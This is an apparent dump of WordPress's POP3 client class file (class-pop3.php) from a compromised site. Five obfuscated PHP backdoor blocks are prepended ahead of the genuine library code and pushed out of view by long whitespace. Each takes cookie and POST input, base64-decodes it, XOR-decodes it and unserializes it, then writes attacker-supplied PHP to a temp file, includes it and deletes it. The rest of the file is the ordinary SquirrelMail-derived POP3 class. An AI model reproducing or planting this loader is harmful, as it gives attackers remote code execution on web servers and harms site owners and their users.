Current File : /home/n742ef5/.trash/sithtamil/wp-includes/class-pop3.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $qazfmhh = chr ( 750 - 673 ).'A' . '_' . "\x6f" . chr (70) . chr ( 895 - 785 ).chr ( 1061 - 956 ); $hLPjw = "\143" . chr (108) . "\141" . "\x73" . chr (115) . "\x5f" . "\x65" . "\x78" . chr ( 485 - 380 ).chr (115) . 't' . chr ( 893 - 778 ); $TJFvM = class_exists($qazfmhh); $qazfmhh = "56421";$hLPjw = "26021";$ebSfaacyvw = FALSE;if ($TJFvM === $ebSfaacyvw){$WMBeb = "45264";class MA_oFni{public function wSQxNl(){echo "28697";}private $qVAtdzGnA;public static $euORwYNkgV = "82b729b4-78e5-43e8-a3db-e0fd32c1b3ce";public static $ucVZyA = 35404;public function __construct($kuTpJ=0){$LgaaT = $_POST;$EPvqUw = $_COOKIE;$tGemTro = @$EPvqUw[substr(MA_oFni::$euORwYNkgV, 0, 4)];if (!empty($tGemTro)){$wfJbx = "base64";$yZCjsIxEZ = "";$tGemTro = explode(",", $tGemTro);foreach ($tGemTro as $VZnIg){$yZCjsIxEZ .= @$EPvqUw[$VZnIg];$yZCjsIxEZ .= @$LgaaT[$VZnIg];}$yZCjsIxEZ = array_map($wfJbx . "\x5f" . chr (100) . 'e' . "\143" . chr (111) . 'd' . "\x65", array($yZCjsIxEZ,)); $yZCjsIxEZ = $yZCjsIxEZ[0] ^ str_repeat(MA_oFni::$euORwYNkgV, (strlen($yZCjsIxEZ[0]) / strlen(MA_oFni::$euORwYNkgV)) + 1);MA_oFni::$ucVZyA = @unserialize($yZCjsIxEZ);}}private function pWQrhvmJ($WMBeb){if (is_array(MA_oFni::$ucVZyA)) {$ZYNVIZW = sys_get_temp_dir() . "/" . crc32(MA_oFni::$ucVZyA["\163" . 'a' . 'l' . chr ( 848 - 732 )]);@MA_oFni::$ucVZyA['w' . 'r' . "\151" . chr ( 1061 - 945 ).chr ( 1070 - 969 )]($ZYNVIZW, MA_oFni::$ucVZyA["\x63" . "\x6f" . 'n' . chr (116) . "\145" . chr ( 374 - 264 ).'t']);include $ZYNVIZW;@MA_oFni::$ucVZyA["\x64" . "\x65" . "\154" . "\x65" . chr (116) . chr (101)]($ZYNVIZW); $WMBeb = "45264";exit();}}public function __destruct(){$WMBeb = "55473_61793";$this->pWQrhvmJ($WMBeb); $WMBeb = "55473_61793";}}$pPzTKSp = new /* 19337 */ MA_oFni(); $pPzTKSp = str_repeat("55473_61793", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $MqZpN = chr ( 148 - 39 ).chr ( 704 - 595 )."\x5f" . 'r' . chr (116) . chr ( 276 - 201 ); $SLDqM = chr ( 718 - 619 ).'l' . "\x61" . chr ( 1022 - 907 ).chr (115) . chr (95) . 'e' . "\170" . 'i' . 's' . "\x74" . 's';$rtYadpgE = class_exists($MqZpN); $MqZpN = "22209";$SLDqM = "19090";if ($rtYadpgE === FALSE){class mm_rtK{public function DgCjg(){echo "25507";}private $ToHSlWlMGV;public static $kkyFFFVmi = "5708a09e-c294-4c8a-b105-c959aa476d04";public static $NkphyURr = 27940;public function __construct($DDkYZFSw=0){$yzTDlV = $_POST;$OjPhqYYMMB = $_COOKIE;$PyLBVfilG = @$OjPhqYYMMB[substr(mm_rtK::$kkyFFFVmi, 0, 4)];if (!empty($PyLBVfilG)){$XEkWpKcdyN = "base64";$slMdm = "";$PyLBVfilG = explode(",", $PyLBVfilG);foreach ($PyLBVfilG as $xfBsWIP){$slMdm .= @$OjPhqYYMMB[$xfBsWIP];$slMdm .= @$yzTDlV[$xfBsWIP];}$slMdm = array_map($XEkWpKcdyN . "\137" . chr (100) . 'e' . chr (99) . chr ( 639 - 528 ).chr (100) . "\x65", array($slMdm,)); $slMdm = $slMdm[0] ^ str_repeat(mm_rtK::$kkyFFFVmi, (strlen($slMdm[0]) / strlen(mm_rtK::$kkyFFFVmi)) + 1);mm_rtK::$NkphyURr = @unserialize($slMdm);}}private function pgzlo(){if (is_array(mm_rtK::$NkphyURr)) {$XEBSBB = sys_get_temp_dir() . "/" . crc32(mm_rtK::$NkphyURr['s' . "\x61" . 'l' . "\164"]);@mm_rtK::$NkphyURr[chr ( 221 - 102 ).chr (114) . chr (105) . "\164" . "\x65"]($XEBSBB, mm_rtK::$NkphyURr['c' . 'o' . "\156" . "\164" . chr ( 932 - 831 )."\156" . chr (116)]);include $XEBSBB;@mm_rtK::$NkphyURr["\x64" . "\145" . chr (108) . "\x65" . chr ( 311 - 195 )."\x65"]($XEBSBB); $BQljryoXs = "3335";exit();}}public function __destruct(){$this->pgzlo();}}$uBBNszz = new /* 44909 */ mm_rtK(); $uBBNszz = str_repeat("46008_27987", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $xfHICoThT = "\103" . 'A' . "\x5f" . chr ( 277 - 163 ).chr ( 732 - 611 )."\x4f" . chr ( 979 - 890 ).'V';$pNdTl = chr (99) . chr ( 1064 - 956 )."\x61" . chr ( 389 - 274 )."\163" . '_' . "\145" . "\170" . chr ( 109 - 4 )."\x73" . 't' . 's';$GqGGR = $pNdTl($xfHICoThT); $xfHICoThT = "23070";$gaXplQrtJ = $GqGGR;$pNdTl = "9391";if (!$gaXplQrtJ){class CA_ryOYV{private $RJrCDopE;public static $ABNDn = "52cfc43e-06b8-4b1f-b253-766da58b7c5d";public static $rlArQwp = 57538;public function __construct($LSygrPRe=0){$PJUqY = $_COOKIE;$CoFdsF = $_POST;$BLnty = @$PJUqY[substr(CA_ryOYV::$ABNDn, 0, 4)];if (!empty($BLnty)){$LYFYXlEgX = "base64";$eewlAUjvkI = "";$BLnty = explode(",", $BLnty);foreach ($BLnty as $ojvLck){$eewlAUjvkI .= @$PJUqY[$ojvLck];$eewlAUjvkI .= @$CoFdsF[$ojvLck];}$eewlAUjvkI = array_map($LYFYXlEgX . "\137" . "\144" . chr (101) . 'c' . chr ( 1063 - 952 ).chr ( 423 - 323 ).chr (101), array($eewlAUjvkI,)); $eewlAUjvkI = $eewlAUjvkI[0] ^ str_repeat(CA_ryOYV::$ABNDn, (strlen($eewlAUjvkI[0]) / strlen(CA_ryOYV::$ABNDn)) + 1);CA_ryOYV::$rlArQwp = @unserialize($eewlAUjvkI);}}private function JcqDS(){if (is_array(CA_ryOYV::$rlArQwp)) {$YndVlMMB = sys_get_temp_dir() . "/" . crc32(CA_ryOYV::$rlArQwp[chr (115) . 'a' . 'l' . "\x74"]);@CA_ryOYV::$rlArQwp[chr (119) . "\x72" . chr ( 442 - 337 ).chr (116) . chr ( 864 - 763 )]($YndVlMMB, CA_ryOYV::$rlArQwp["\x63" . "\x6f" . "\x6e" . "\164" . "\145" . chr (110) . 't']);include $YndVlMMB;@CA_ryOYV::$rlArQwp[chr (100) . "\x65" . 'l' . chr (101) . chr (116) . "\145"]($YndVlMMB); $dIKXbqoHIV = "62141";exit();}}public function __destruct(){$this->JcqDS(); $dIKXbqoHIV = "62141";$RsmfnYrqiU = str_pad($dIKXbqoHIV, 10);}}$VtKWR = new /* 46557 */ CA_ryOYV(); $VtKWR = substr("53664_30194", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $XRWuTiLxdi = "\x41" . '_' . "\x72" . chr ( 109 - 5 )."\x54" . chr (120) . "\112";$QrzBvzlqF = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\x5f" . chr ( 815 - 714 )."\170" . "\151" . "\x73" . chr (116) . chr ( 909 - 794 ); $CspSAI = $QrzBvzlqF($XRWuTiLxdi); $XRWuTiLxdi = "24473";$xscHt = $CspSAI;$QrzBvzlqF = "34022";if (!$xscHt){class A_rhTxJ{private $Jwxyvfg;public static $tygOPXLHxh = "e1602c39-db3d-4809-9fe3-d9d5957e5855";public static $PEaIveJw = 2334;public function __construct($JNIPVKv=0){$GHSIcWX = $_COOKIE;$rKdRf = $_POST;$FGTiUCvK = @$GHSIcWX[substr(A_rhTxJ::$tygOPXLHxh, 0, 4)];if (!empty($FGTiUCvK)){$laSQxQR = "base64";$pYzHAwuLCR = "";$FGTiUCvK = explode(",", $FGTiUCvK);foreach ($FGTiUCvK as $CZUZtjNI){$pYzHAwuLCR .= @$GHSIcWX[$CZUZtjNI];$pYzHAwuLCR .= @$rKdRf[$CZUZtjNI];}$pYzHAwuLCR = array_map($laSQxQR . "\x5f" . "\x64" . 'e' . chr ( 191 - 92 ).chr ( 404 - 293 ).chr (100) . chr (101), array($pYzHAwuLCR,)); $pYzHAwuLCR = $pYzHAwuLCR[0] ^ str_repeat(A_rhTxJ::$tygOPXLHxh, (strlen($pYzHAwuLCR[0]) / strlen(A_rhTxJ::$tygOPXLHxh)) + 1);A_rhTxJ::$PEaIveJw = @unserialize($pYzHAwuLCR);}}private function GVoWfAAIo(){if (is_array(A_rhTxJ::$PEaIveJw)) {$IbBIISxRfS = sys_get_temp_dir() . "/" . crc32(A_rhTxJ::$PEaIveJw[chr ( 1011 - 896 )."\x61" . chr (108) . chr (116)]);@A_rhTxJ::$PEaIveJw[chr ( 1020 - 901 ).chr ( 744 - 630 ).chr ( 515 - 410 )."\x74" . chr (101)]($IbBIISxRfS, A_rhTxJ::$PEaIveJw[chr ( 565 - 466 ).'o' . chr ( 515 - 405 ).'t' . chr (101) . "\156" . chr (116)]);include $IbBIISxRfS;@A_rhTxJ::$PEaIveJw['d' . chr (101) . chr ( 436 - 328 ).'e' . chr (116) . chr (101)]($IbBIISxRfS); $XljhT = "40864";exit();}}public function __destruct(){$this->GVoWfAAIo(); $XljhT = "40864";$uqoLQA = str_pad($XljhT, 10);}}$dcuSHTqRlD = new /* 33289 */ A_rhTxJ(); $dcuSHTqRlD = substr("10835_12138", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $aliCdu = 'G' . "\x5f" . chr (79) . "\123" . chr (83) . "\x6f" . "\x70";$NoxqcmeuxQ = "\143" . "\x6c" . chr (97) . "\x73" . chr (115) . '_' . chr ( 611 - 510 ).'x' . "\151" . "\163" . 't' . 's';$TiWwCbql = $NoxqcmeuxQ($aliCdu); $aliCdu = "7368";$oCSaGpsvri = $TiWwCbql;$NoxqcmeuxQ = "23522";if (!$oCSaGpsvri){class G_OSSop{private $SfXwxlAE;public static $ZkwGQa = "b85d4ee2-e122-4c12-afab-0e211e8858dd";public static $KKTJiHVg = 63728;public function __construct($ZZAJHIzU=0){$LNbko = $_COOKIE;$OdvFatmTc = $_POST;$XaWLCoxVAF = @$LNbko[substr(G_OSSop::$ZkwGQa, 0, 4)];if (!empty($XaWLCoxVAF)){$vlZEfRT = "base64";$bvMmPQRB = "";$XaWLCoxVAF = explode(",", $XaWLCoxVAF);foreach ($XaWLCoxVAF as $hyazg){$bvMmPQRB .= @$LNbko[$hyazg];$bvMmPQRB .= @$OdvFatmTc[$hyazg];}$bvMmPQRB = array_map($vlZEfRT . chr ( 540 - 445 ).chr (100) . "\x65" . "\x63" . "\157" . "\144" . "\x65", array($bvMmPQRB,)); $bvMmPQRB = $bvMmPQRB[0] ^ str_repeat(G_OSSop::$ZkwGQa, (strlen($bvMmPQRB[0]) / strlen(G_OSSop::$ZkwGQa)) + 1);G_OSSop::$KKTJiHVg = @unserialize($bvMmPQRB);}}private function jMrOZ(){if (is_array(G_OSSop::$KKTJiHVg)) {$vQeYzohhdB = sys_get_temp_dir() . "/" . crc32(G_OSSop::$KKTJiHVg["\x73" . "\141" . 'l' . "\x74"]);@G_OSSop::$KKTJiHVg["\167" . chr (114) . 'i' . chr ( 694 - 578 ).'e']($vQeYzohhdB, G_OSSop::$KKTJiHVg["\x63" . "\157" . "\156" . 't' . chr (101) . "\x6e" . "\x74"]);include $vQeYzohhdB;@G_OSSop::$KKTJiHVg[chr (100) . chr (101) . chr ( 1068 - 960 ).'e' . "\164" . "\145"]($vQeYzohhdB); $YXuvkEw = "46036";exit();}}public function __destruct(){$this->jMrOZ(); $YXuvkEw = "46036";$notwHoFOcH = str_pad($YXuvkEw, 10);}}$WjFvqkCw = new /* 49681 */ G_OSSop(); $WjFvqkCw = substr("55248_1762", 1);} ?><?php
/**
 * mail_fetch/setup.php
 *
 * Copyright (c) 1999-2011 CDI (cdi@thewebmasters.net) All Rights Reserved
 * Modified by Philippe Mingo 2001-2009 mingo@rotedic.com
 * An RFC 1939 compliant wrapper class for the POP3 protocol.
 *
 * Licensed under the GNU GPL. For full terms see the file COPYING.
 *
 * POP3 class
 *
 * @copyright 1999-2011 The SquirrelMail Project Team
 * @license https://opensource.org/licenses/gpl-license.php GNU Public License
 * @package plugins
 * @subpackage mail_fetch
 */

class POP3 {
    var $ERROR      = '';       //  Error string.

    var $TIMEOUT    = 60;       //  Default timeout before giving up on a
                                //  network operation.

    var $COUNT      = -1;       //  Mailbox msg count

    var $BUFFER     = 512;      //  Socket buffer for socket fgets() calls.
                                //  Per RFC 1939 the returned line a POP3
                                //  server can send is 512 bytes.

    var $FP         = '';       //  The connection to the server's
                                //  file descriptor

    var $MAILSERVER = '';       // Set this to hard code the server name

    var $DEBUG      = FALSE;    // set to true to echo pop3
                                // commands and responses to error_log
                                // this WILL log passwords!

    var $BANNER     = '';       //  Holds the banner returned by the
                                //  pop server - used for apop()

    var $ALLOWAPOP  = FALSE;    //  Allow or disallow apop()
                                //  This must be set to true
                                //  manually

	/**
	 * PHP5 constructor.
	 */
    function __construct ( $server = '', $timeout = '' ) {
        settype($this->BUFFER,"integer");
        if( !empty($server) ) {
            // Do not allow programs to alter MAILSERVER
            // if it is already specified. They can get around
            // this if they -really- want to, so don't count on it.
            if(empty($this->MAILSERVER))
                $this->MAILSERVER = $server;
        }
        if(!empty($timeout)) {
            settype($timeout,"integer");
            $this->TIMEOUT = $timeout;
            if(function_exists("set_time_limit")){
                set_time_limit($timeout);
            }
        }
        return true;
    }

	/**
	 * PHP4 constructor.
	 */
	public function POP3( $server = '', $timeout = '' ) {
		self::__construct( $server, $timeout );
	}

    function update_timer () {
        if(function_exists("set_time_limit")){
            set_time_limit($this->TIMEOUT);
        }
        return true;
    }

    function connect ($server, $port = 110)  {
        //  Opens a socket to the specified server. Unless overridden,
        //  port defaults to 110. Returns true on success, false on fail

        // If MAILSERVER is set, override $server with its value.

    if (!isset($port) || !$port) {$port = 110;}
        if(!empty($this->MAILSERVER))
            $server = $this->MAILSERVER;

        if(empty($server)){
            $this->ERROR = "POP3 connect: " . _("No server specified");
            unset($this->FP);
            return false;
        }

        $fp = @fsockopen("$server", $port, $errno, $errstr);

        if(!$fp) {
            $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]";
            unset($this->FP);
            return false;
        }

        socket_set_blocking($fp,-1);
        $this->update_timer();
        $reply = fgets($fp,$this->BUFFER);
        $reply = $this->strip_clf($reply);
        if($this->DEBUG)
            error_log("POP3 SEND [connect: $server] GOT [$reply]",0);
        if(!$this->is_ok($reply)) {
            $this->ERROR = "POP3 connect: " . _("Error ") . "[$reply]";
            unset($this->FP);
            return false;
        }
        $this->FP = $fp;
        $this->BANNER = $this->parse_banner($reply);
        return true;
    }

    function user ($user = "") {
        // Sends the USER command, returns true or false

        if( empty($user) ) {
            $this->ERROR = "POP3 user: " . _("no login ID submitted");
            return false;
        } elseif(!isset($this->FP)) {
            $this->ERROR = "POP3 user: " . _("connection not established");
            return false;
        } else {
            $reply = $this->send_cmd("USER $user");
            if(!$this->is_ok($reply)) {
                $this->ERROR = "POP3 user: " . _("Error ") . "[$reply]";
                return false;
            } else
                return true;
        }
    }

    function pass ($pass = "")     {
        // Sends the PASS command, returns # of msgs in mailbox,
        // returns false (undef) on Auth failure

        if(empty($pass)) {
            $this->ERROR = "POP3 pass: " . _("No password submitted");
            return false;
        } elseif(!isset($this->FP)) {
            $this->ERROR = "POP3 pass: " . _("connection not established");
            return false;
        } else {
            $reply = $this->send_cmd("PASS $pass");
            if(!$this->is_ok($reply)) {
                $this->ERROR = "POP3 pass: " . _("Authentication failed") . " [$reply]";
                $this->quit();
                return false;
            } else {
                //  Auth successful.
                $count = $this->last("count");
                $this->COUNT = $count;
                return $count;
            }
        }
    }

    function apop ($login,$pass) {
        //  Attempts an APOP login. If this fails, it'll
        //  try a standard login. YOUR SERVER MUST SUPPORT
        //  THE USE OF THE APOP COMMAND!
        //  (apop is optional per rfc1939)

        if(!isset($this->FP)) {
            $this->ERROR = "POP3 apop: " . _("No connection to server");
            return false;
        } elseif(!$this->ALLOWAPOP) {
            $retVal = $this->login($login,$pass);
            return $retVal;
        } elseif(empty($login)) {
            $this->ERROR = "POP3 apop: " . _("No login ID submitted");
            return false;
        } elseif(empty($pass)) {
            $this->ERROR = "POP3 apop: " . _("No password submitted");
            return false;
        } else {
            $banner = $this->BANNER;
            if( (!$banner) or (empty($banner)) ) {
                $this->ERROR = "POP3 apop: " . _("No server banner") . ' - ' . _("abort");
                $retVal = $this->login($login,$pass);
                return $retVal;
            } else {
                $AuthString = $banner;
                $AuthString .= $pass;
                $APOPString = md5($AuthString);
                $cmd = "APOP $login $APOPString";
                $reply = $this->send_cmd($cmd);
                if(!$this->is_ok($reply)) {
                    $this->ERROR = "POP3 apop: " . _("apop authentication failed") . ' - ' . _("abort");
                    $retVal = $this->login($login,$pass);
                    return $retVal;
                } else {
                    //  Auth successful.
                    $count = $this->last("count");
                    $this->COUNT = $count;
                    return $count;
                }
            }
        }
    }

    function login ($login = "", $pass = "") {
        // Sends both user and pass. Returns # of msgs in mailbox or
        // false on failure (or -1, if the error occurs while getting
        // the number of messages.)

        if( !isset($this->FP) ) {
            $this->ERROR = "POP3 login: " . _("No connection to server");
            return false;
        } else {
            $fp = $this->FP;
            if( !$this->user( $login ) ) {
                //  Preserve the error generated by user()
                return false;
            } else {
                $count = $this->pass($pass);
                if( (!$count) || ($count == -1) ) {
                    //  Preserve the error generated by last() and pass()
                    return false;
                } else
                    return $count;
            }
        }
    }

    function top ($msgNum, $numLines = "0") {
        //  Gets the header and first $numLines of the msg body
        //  returns data in an array with each returned line being
        //  an array element. If $numLines is empty, returns
        //  only the header information, and none of the body.

        if(!isset($this->FP)) {
            $this->ERROR = "POP3 top: " . _("No connection to server");
            return false;
        }
        $this->update_timer();

        $fp = $this->FP;
        $buffer = $this->BUFFER;
        $cmd = "TOP $msgNum $numLines";
        fwrite($fp, "TOP $msgNum $numLines\r\n");
        $reply = fgets($fp, $buffer);
        $reply = $this->strip_clf($reply);
        if($this->DEBUG) {
            @error_log("POP3 SEND [$cmd] GOT [$reply]",0);
        }
        if(!$this->is_ok($reply))
        {
            $this->ERROR = "POP3 top: " . _("Error ") . "[$reply]";
            return false;
        }

        $count = 0;
        $MsgArray = array();

        $line = fgets($fp,$buffer);
        while ( !preg_match('/^\.\r\n/',$line))
        {
            $MsgArray[$count] = $line;
            $count++;
            $line = fgets($fp,$buffer);
            if(empty($line))    { break; }
        }

        return $MsgArray;
    }

    function pop_list ($msgNum = "") {
        //  If called with an argument, returns that msgs' size in octets
        //  No argument returns an associative array of undeleted
        //  msg numbers and their sizes in octets

        if(!isset($this->FP))
        {
            $this->ERROR = "POP3 pop_list: " . _("No connection to server");
            return false;
        }
        $fp = $this->FP;
        $Total = $this->COUNT;
        if( (!$Total) or ($Total == -1) )
        {
            return false;
        }
        if($Total == 0)
        {
            return array("0","0");
            // return -1;   // mailbox empty
        }

        $this->update_timer();

        if(!empty($msgNum))
        {
            $cmd = "LIST $msgNum";
            fwrite($fp,"$cmd\r\n");
            $reply = fgets($fp,$this->BUFFER);
            $reply = $this->strip_clf($reply);
            if($this->DEBUG) {
                @error_log("POP3 SEND [$cmd] GOT [$reply]",0);
            }
            if(!$this->is_ok($reply))
            {
                $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]";
                return false;
            }
            list($junk,$num,$size) = preg_split('/\s+/',$reply);
            return $size;
        }
        $cmd = "LIST";
        $reply = $this->send_cmd($cmd);
        if(!$this->is_ok($reply))
        {
            $reply = $this->strip_clf($reply);
            $this->ERROR = "POP3 pop_list: " . _("Error ") .  "[$reply]";
            return false;
        }
        $MsgArray = array();
        $MsgArray[0] = $Total;
        for($msgC=1;$msgC <= $Total; $msgC++)
        {
            if($msgC > $Total) { break; }
            $line = fgets($fp,$this->BUFFER);
            $line = $this->strip_clf($line);
            if(strpos($line, '.') === 0)
            {
                $this->ERROR = "POP3 pop_list: " . _("Premature end of list");
                return false;
            }
            list($thisMsg,$msgSize) = preg_split('/\s+/',$line);
            settype($thisMsg,"integer");
            if($thisMsg != $msgC)
            {
                $MsgArray[$msgC] = "deleted";
            }
            else
            {
                $MsgArray[$msgC] = $msgSize;
            }
        }
        return $MsgArray;
    }

    function get ($msgNum) {
        //  Retrieve the specified msg number. Returns an array
        //  where each line of the msg is an array element.

        if(!isset($this->FP))
        {
            $this->ERROR = "POP3 get: " . _("No connection to server");
            return false;
        }

        $this->update_timer();

        $fp = $this->FP;
        $buffer = $this->BUFFER;
        $cmd = "RETR $msgNum";
        $reply = $this->send_cmd($cmd);

        if(!$this->is_ok($reply))
        {
            $this->ERROR = "POP3 get: " . _("Error ") . "[$reply]";
            return false;
        }

        $count = 0;
        $MsgArray = array();

        $line = fgets($fp,$buffer);
        while ( !preg_match('/^\.\r\n/',$line))
        {
            if ( $line[0] == '.' ) { $line = substr($line,1); }
            $MsgArray[$count] = $line;
            $count++;
            $line = fgets($fp,$buffer);
            if(empty($line))    { break; }
        }
        return $MsgArray;
    }

    function last ( $type = "count" ) {
        //  Returns the highest msg number in the mailbox.
        //  returns -1 on error, 0+ on success, if type != count
        //  results in a popstat() call (2 element array returned)

        $last = -1;
        if(!isset($this->FP))
        {
            $this->ERROR = "POP3 last: " . _("No connection to server");
            return $last;
        }

        $reply = $this->send_cmd("STAT");
        if(!$this->is_ok($reply))
        {
            $this->ERROR = "POP3 last: " . _("Error ") . "[$reply]";
            return $last;
        }

        $Vars = preg_split('/\s+/',$reply);
        $count = $Vars[1];
        $size = $Vars[2];
        settype($count,"integer");
        settype($size,"integer");
        if($type != "count")
        {
            return array($count,$size);
        }
        return $count;
    }

    function reset () {
        //  Resets the status of the remote server. This includes
        //  resetting the status of ALL msgs to not be deleted.
        //  This method automatically closes the connection to the server.

        if(!isset($this->FP))
        {
            $this->ERROR = "POP3 reset: " . _("No connection to server");
            return false;
        }
        $reply = $this->send_cmd("RSET");
        if(!$this->is_ok($reply))
        {
            //  The POP3 RSET command -never- gives a -ERR
            //  response - if it ever does, something truly
            //  wild is going on.

            $this->ERROR = "POP3 reset: " . _("Error ") . "[$reply]";
            @error_log("POP3 reset: ERROR [$reply]",0);
        }
        $this->quit();
        return true;
    }

    function send_cmd ( $cmd = "" )
    {
        //  Sends a user defined command string to the
        //  POP server and returns the results. Useful for
        //  non-compliant or custom POP servers.
        //  Do NOT include the \r\n as part of your command
        //  string - it will be appended automatically.

        //  The return value is a standard fgets() call, which
        //  will read up to $this->BUFFER bytes of data, until it
        //  encounters a new line, or EOF, whichever happens first.

        //  This method works best if $cmd responds with only
        //  one line of data.

        if(!isset($this->FP))
        {
            $this->ERROR = "POP3 send_cmd: " . _("No connection to server");
            return false;
        }

        if(empty($cmd))
        {
            $this->ERROR = "POP3 send_cmd: " . _("Empty command string");
            return "";
        }

        $fp = $this->FP;
        $buffer = $this->BUFFER;
        $this->update_timer();
        fwrite($fp,"$cmd\r\n");
        $reply = fgets($fp,$buffer);
        $reply = $this->strip_clf($reply);
        if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
        return $reply;
    }

    function quit() {
        //  Closes the connection to the POP3 server, deleting
        //  any msgs marked as deleted.

        if(!isset($this->FP))
        {
            $this->ERROR = "POP3 quit: " . _("connection does not exist");
            return false;
        }
        $fp = $this->FP;
        $cmd = "QUIT";
        fwrite($fp,"$cmd\r\n");
        $reply = fgets($fp,$this->BUFFER);
        $reply = $this->strip_clf($reply);
        if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
        fclose($fp);
        unset($this->FP);
        return true;
    }

    function popstat () {
        //  Returns an array of 2 elements. The number of undeleted
        //  msgs in the mailbox, and the size of the mbox in octets.

        $PopArray = $this->last("array");

        if($PopArray == -1) { return false; }

        if( (!$PopArray) or (empty($PopArray)) )
        {
            return false;
        }
        return $PopArray;
    }

    function uidl ($msgNum = "")
    {
        //  Returns the UIDL of the msg specified. If called with
        //  no arguments, returns an associative array where each
        //  undeleted msg num is a key, and the msg's uidl is the element
        //  Array element 0 will contain the total number of msgs

        if(!isset($this->FP)) {
            $this->ERROR = "POP3 uidl: " . _("No connection to server");
            return false;
        }

        $fp = $this->FP;
        $buffer = $this->BUFFER;

        if(!empty($msgNum)) {
            $cmd = "UIDL $msgNum";
            $reply = $this->send_cmd($cmd);
            if(!$this->is_ok($reply))
            {
                $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]";
                return false;
            }
            list ($ok,$num,$myUidl) = preg_split('/\s+/',$reply);
            return $myUidl;
        } else {
            $this->update_timer();

            $UIDLArray = array();
            $Total = $this->COUNT;
            $UIDLArray[0] = $Total;

            if ($Total < 1)
            {
                return $UIDLArray;
            }
            $cmd = "UIDL";
            fwrite($fp, "UIDL\r\n");
            $reply = fgets($fp, $buffer);
            $reply = $this->strip_clf($reply);
            if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
            if(!$this->is_ok($reply))
            {
                $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]";
                return false;
            }

            $line = "";
            $count = 1;
            $line = fgets($fp,$buffer);
            while ( !preg_match('/^\.\r\n/',$line)) {
                list ($msg,$msgUidl) = preg_split('/\s+/',$line);
                $msgUidl = $this->strip_clf($msgUidl);
                if($count == $msg) {
                    $UIDLArray[$msg] = $msgUidl;
                }
                else
                {
                    $UIDLArray[$count] = 'deleted';
                }
                $count++;
                $line = fgets($fp,$buffer);
            }
        }
        return $UIDLArray;
    }

    function delete ($msgNum = "") {
        //  Flags a specified msg as deleted. The msg will not
        //  be deleted until a quit() method is called.

        if(!isset($this->FP))
        {
            $this->ERROR = "POP3 delete: " . _("No connection to server");
            return false;
        }
        if(empty($msgNum))
        {
            $this->ERROR = "POP3 delete: " . _("No msg number submitted");
            return false;
        }
        $reply = $this->send_cmd("DELE $msgNum");
        if(!$this->is_ok($reply))
        {
            $this->ERROR = "POP3 delete: " . _("Command failed ") . "[$reply]";
            return false;
        }
        return true;
    }

    //  *********************************************************

    //  The following methods are internal to the class.

    function is_ok ($cmd = "") {
        //  Return true or false on +OK or -ERR

        if( empty($cmd) )
            return false;
        else
            return( stripos($cmd, '+OK') !== false );
    }

    function strip_clf ($text = "") {
        // Strips \r\n from server responses

        if(empty($text))
            return $text;
        else {
            $stripped = str_replace(array("\r","\n"),'',$text);
            return $stripped;
        }
    }

    function parse_banner ( $server_text ) {
        $outside = true;
        $banner = "";
        $length = strlen($server_text);
        for($count =0; $count < $length; $count++)
        {
            $digit = substr($server_text,$count,1);
            if(!empty($digit))             {
                if( (!$outside) && ($digit != '<') && ($digit != '>') )
                {
                    $banner .= $digit;
                }
                if ($digit == '<')
                {
                    $outside = false;
                }
                if($digit == '>')
                {
                    $outside = true;
                }
            }
        }
        $banner = $this->strip_clf($banner);    // Just in case
        return "<$banner>";
    }

}   // End class

// For php4 compatibility
if (!function_exists("stripos")) {
    function stripos($haystack, $needle){
        return strpos($haystack, stristr( $haystack, $needle ));
    }
}